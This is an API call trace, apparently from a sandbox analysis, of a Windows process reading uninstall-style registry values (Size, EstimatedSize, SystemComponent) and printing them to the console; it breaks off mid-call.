GetProcessHeap () returned 0x3c0000 [0149.737] GetProcessHeap () returned 0x3c0000 [0149.737] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.737] GetProcessHeap () returned 0x3c0000 [0149.737] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.737] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.737] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.737] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.737] GetProcessHeap () returned 0x3c0000 [0149.737] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.737] GetProcessHeap () returned 0x3c0000 [0149.737] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.737] GetProcessHeap () returned 0x3c0000 [0149.737] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.737] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.737] __iob_func () returned 0x7fefd702a80 [0149.737] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.737] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.737] _fileno (_File=0x7fefd702ab0) returned 1 [0149.738] _errno () returned 0x204bb0 [0149.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.738] _errno () returned 0x204bb0 [0149.738] GetFileType (hFile=0x50) returned 0x1 [0149.738] lstrlenW (lpString=" ") returned 4 [0149.738] GetConsoleOutputCP () returned 0x1b5 [0149.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.738] GetConsoleOutputCP () returned 0x1b5 [0149.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.738] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.738] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.738] lstrlenW (lpString="Size") returned 4 [0149.738] __iob_func () returned 0x7fefd702a80 [0149.738] _fileno (_File=0x7fefd702ab0) returned 1 [0149.738] _errno () returned 0x204bb0 [0149.738] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.738] _errno () returned 0x204bb0 [0149.738] GetFileType (hFile=0x50) returned 0x1 [0149.738] lstrlenW (lpString="Size") returned 4 [0149.738] GetConsoleOutputCP () returned 0x1b5 [0149.738] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.738] GetConsoleOutputCP () returned 0x1b5 [0149.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0149.739] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.739] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.739] __iob_func () returned 0x7fefd702a80 [0149.739] _fileno (_File=0x7fefd702ab0) returned 1 [0149.739] _errno () returned 0x204bb0 [0149.739] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.739] _errno () returned 0x204bb0 [0149.739] GetFileType (hFile=0x50) returned 0x1 [0149.739] lstrlenW (lpString=" ") returned 4 [0149.739] GetConsoleOutputCP () returned 0x1b5 [0149.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.739] GetConsoleOutputCP () returned 0x1b5 [0149.739] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.739] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.739] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.739] __iob_func () returned 0x7fefd702a80 [0149.739] _fileno (_File=0x7fefd702ab0) returned 1 [0149.739] _errno () returned 0x204bb0 [0149.739] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.739] _errno () returned 0x204bb0 [0149.739] GetFileType (hFile=0x50) returned 0x1 [0149.739] lstrlenW (lpString="REG_SZ") returned 6 [0149.739] GetConsoleOutputCP () returned 0x1b5 [0149.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.740] GetConsoleOutputCP () returned 0x1b5 [0149.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.740] __iob_func () returned 0x7fefd702a80 [0149.740] _fileno (_File=0x7fefd702ab0) returned 1 [0149.740] _errno () returned 0x204bb0 [0149.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.740] _errno () returned 0x204bb0 [0149.740] GetFileType (hFile=0x50) returned 0x1 [0149.740] lstrlenW (lpString=" ") returned 4 [0149.740] GetConsoleOutputCP () returned 0x1b5 [0149.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.740] GetConsoleOutputCP () returned 0x1b5 [0149.740] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.740] __iob_func () returned 0x7fefd702a80 [0149.740] _fileno (_File=0x7fefd702ab0) returned 1 [0149.740] _errno () returned 0x204bb0 [0149.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.741] _errno () returned 0x204bb0 [0149.741] GetFileType (hFile=0x50) returned 0x1 [0149.741] lstrlenW (lpString="") returned 0 [0149.741] __iob_func () returned 0x7fefd702a80 [0149.741] _fileno (_File=0x7fefd702ab0) returned 1 [0149.741] _errno () returned 0x204bb0 [0149.741] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.741] _errno () returned 0x204bb0 [0149.741] GetFileType (hFile=0x50) returned 0x1 [0149.741] lstrlenW (lpString="\n") returned 1 [0149.741] GetConsoleOutputCP () returned 0x1b5 [0149.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.741] GetConsoleOutputCP () returned 0x1b5 [0149.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.741] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.741] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.741] GetProcessHeap () returned 0x3c0000 [0149.741] GetProcessHeap () returned 0x3c0000 [0149.741] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.741] GetProcessHeap () returned 0x3c0000 [0149.741] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.741] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.741] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.741] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.741] GetProcessHeap () returned 0x3c0000 [0149.741] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.742] GetProcessHeap () returned 0x3c0000 [0149.742] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.742] GetProcessHeap () returned 0x3c0000 [0149.742] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.742] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x4e6, pcbData=0x29f780*=0x4) returned 0x0 [0149.742] __iob_func () returned 0x7fefd702a80 [0149.742] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.742] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.742] _fileno (_File=0x7fefd702ab0) returned 1 [0149.742] _errno () returned 0x204bb0 [0149.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.742] _errno () returned 0x204bb0 [0149.742] GetFileType (hFile=0x50) returned 0x1 [0149.742] lstrlenW (lpString=" ") returned 4 [0149.742] GetConsoleOutputCP () returned 0x1b5 [0149.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.742] GetConsoleOutputCP () returned 0x1b5 [0149.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.742] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.742] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.742] lstrlenW (lpString="EstimatedSize") returned 13 [0149.742] __iob_func () returned 0x7fefd702a80 [0149.742] _fileno (_File=0x7fefd702ab0) returned 1 [0149.742] _errno () returned 0x204bb0 [0149.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.742] _errno () returned 0x204bb0 [0149.742] GetFileType (hFile=0x50) returned 0x1 [0149.742] lstrlenW (lpString="EstimatedSize") returned 13 [0149.743] GetConsoleOutputCP () returned 0x1b5 [0149.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.743] GetConsoleOutputCP () returned 0x1b5 [0149.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.743] __iob_func () returned 0x7fefd702a80 [0149.743] _fileno (_File=0x7fefd702ab0) returned 1 [0149.743] _errno () returned 0x204bb0 [0149.743] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.743] _errno () returned 0x204bb0 [0149.743] GetFileType (hFile=0x50) returned 0x1 [0149.743] lstrlenW (lpString=" ") returned 4 [0149.743] GetConsoleOutputCP () returned 0x1b5 [0149.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.743] GetConsoleOutputCP () returned 0x1b5 [0149.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.744] __iob_func () returned 0x7fefd702a80 [0149.744] _fileno (_File=0x7fefd702ab0) returned 1 [0149.744] _errno () returned 0x204bb0 [0149.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.744] _errno () returned 0x204bb0 [0149.744] GetFileType (hFile=0x50) returned 0x1 [0149.744] lstrlenW (lpString="REG_DWORD") returned 9 [0149.744] GetConsoleOutputCP () returned 0x1b5 [0149.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.744] GetConsoleOutputCP () returned 0x1b5 [0149.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.744] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.744] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.744] __iob_func () returned 0x7fefd702a80 [0149.744] _fileno (_File=0x7fefd702ab0) returned 1 [0149.744] _errno () returned 0x204bb0 [0149.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.744] _errno () returned 0x204bb0 [0149.744] GetFileType (hFile=0x50) returned 0x1 [0149.744] lstrlenW (lpString=" ") returned 4 [0149.744] GetConsoleOutputCP () returned 0x1b5 [0149.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.744] GetConsoleOutputCP () returned 0x1b5 [0149.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.745] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.745] __iob_func () returned 0x7fefd702a80 [0149.745] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.745] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x4e6") returned 5 [0149.745] _fileno (_File=0x7fefd702ab0) returned 1 [0149.745] _errno () returned 0x204bb0 [0149.745] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.745] _errno () returned 0x204bb0 [0149.745] GetFileType (hFile=0x50) returned 0x1 [0149.745] lstrlenW (lpString="0x4e6") returned 5 [0149.745] GetConsoleOutputCP () returned 0x1b5 [0149.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4e6", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.745] GetConsoleOutputCP () returned 0x1b5 [0149.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4e6", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x4e6", lpUsedDefaultChar=0x0) returned 5 [0149.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.745] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.745] __iob_func () returned 0x7fefd702a80 [0149.745] _fileno (_File=0x7fefd702ab0) returned 1 [0149.745] _errno () returned 0x204bb0 [0149.745] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.745] _errno () returned 0x204bb0 [0149.745] GetFileType (hFile=0x50) returned 0x1 [0149.745] lstrlenW (lpString="\n") returned 1 [0149.746] GetConsoleOutputCP () returned 0x1b5 [0149.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.746] GetConsoleOutputCP () returned 0x1b5 [0149.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.746] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.746] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.746] GetProcessHeap () returned 0x3c0000 [0149.746] GetProcessHeap () returned 0x3c0000 [0149.746] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.746] GetProcessHeap () returned 0x3c0000 [0149.746] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.746] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.746] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.746] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.746] GetProcessHeap () returned 0x3c0000 [0149.746] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.746] GetProcessHeap () returned 0x3c0000 [0149.746] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.746] GetProcessHeap () returned 0x3c0000 [0149.746] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.746] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.746] __iob_func () returned 0x7fefd702a80 [0149.746] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.746] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.747] _fileno (_File=0x7fefd702ab0) returned 1 [0149.747] _errno () returned 0x204bb0 [0149.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.747] _errno () returned 0x204bb0 [0149.747] GetFileType (hFile=0x50) returned 0x1 [0149.747] lstrlenW (lpString=" ") returned 4 [0149.747] GetConsoleOutputCP () returned 0x1b5 [0149.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.747] GetConsoleOutputCP () returned 0x1b5 [0149.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.747] lstrlenW (lpString="SystemComponent") returned 15 [0149.747] __iob_func () returned 0x7fefd702a80 [0149.747] _fileno (_File=0x7fefd702ab0) returned 1 [0149.747] _errno () returned 0x204bb0 [0149.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.747] _errno () returned 0x204bb0 [0149.747] GetFileType (hFile=0x50) returned 0x1 [0149.747] lstrlenW (lpString="SystemComponent") returned 15 [0149.747] GetConsoleOutputCP () returned 0x1b5 [0149.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.747] GetConsoleOutputCP () returned 0x1b5 [0149.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0149.748] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.748] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.748] __iob_func () returned 0x7fefd702a80 [0149.748] _fileno (_File=0x7fefd702ab0) returned 1 [0149.748] _errno () returned 0x204bb0 [0149.748] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.748] _errno () returned 0x204bb0 [0149.748] GetFileType (hFile=0x50) returned 0x1 [0149.748] lstrlenW (lpString=" ") returned 4 [0149.748] GetConsoleOutputCP () returned 0x1b5 [0149.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.748] GetConsoleOutputCP () returned 0x1b5 [0149.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.748] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.748] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.748] __iob_func () returned 0x7fefd702a80 [0149.748] _fileno (_File=0x7fefd702ab0) returned 1 [0149.748] _errno () returned 0x204bb0 [0149.748] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.748] _errno () returned 0x204bb0 [0149.748] GetFileType (hFile=0x50) returned 0x1 [0149.748] lstrlenW (lpString="REG_DWORD") returned 9 [0149.748] GetConsoleOutputCP () returned 0x1b5 [0149.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.749] GetConsoleOutputCP () returned 0x1b5 [0149.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.749] __iob_func () returned 0x7fefd702a80 [0149.749] _fileno (_File=0x7fefd702ab0) returned 1 [0149.749] _errno () returned 0x204bb0 [0149.749] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.749] _errno () returned 0x204bb0 [0149.749] GetFileType (hFile=0x50) returned 0x1 [0149.749] lstrlenW (lpString=" ") returned 4 [0149.749] GetConsoleOutputCP () returned 0x1b5 [0149.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 